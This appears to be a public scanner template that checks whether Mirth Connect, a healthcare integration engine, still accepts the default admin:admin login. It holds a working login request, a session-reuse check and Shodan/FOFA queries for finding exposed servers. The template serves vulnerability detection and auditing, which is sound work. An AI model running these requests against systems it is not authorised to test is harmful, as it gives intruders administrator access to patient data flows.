mirth-connect-default-login: Mirth Connect - Default Admin Credentials

2026-04-09 Mirth Connect PoC Public

Description

Detected Mirth Connect was using default credentials admin:admin. Mirth Connect is a widely used healthcare integration engine for HL7, FHIR, and other medical data standards.

PoC

id: mirth-connect-default-login

info:
  name: Mirth Connect - Default Admin Credentials
  author: 0x_Akoko
  severity: high
  description: |
    Detected Mirth Connect was using default credentials admin:admin. Mirth Connect is a widely used healthcare integration engine for HL7, FHIR, and other medical data standards.
  reference:
    - https://www.nextgen.com/products-and-services/integration-engine
    - https://docs.nextgen.com/bundle/Mirth_Connect_v4.4.1/page/connect/connect/topics/c_Getting_Started_mirth_connect_ug.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 2
    vendor: nextgen
    product: mirth-connect
    shodan-query: 'http.title:"Mirth Connect"'
    fofa-query: 'title="Mirth Connect"'
  tags: mirth,default-login,misconfig,healthcare

variables:
  username: "admin"
  password: "admin"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/users/_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        username={{username}}&password={{password}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/xml")'
          - 'contains_all(to_lower(body), "loginstatus", "success")'
        condition: and

    cookie-reuse: true

  - raw:
      - |
        GET /api/users/current HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/xml")'
          - 'contains_all(to_lower(body), "<username>", "admin")'
        condition: and
# digest: 4a0a0047304502207651fa5ec89eeb4ebd8e179f46b0a51656104ee20d148f7b46fc51859f0296c4022100932a44137b1d50bed9bfb2bd114ccb4156ab2e36362551dc7bfa3d234c7e7997:922c64590222798bb761d5b6d8e72950

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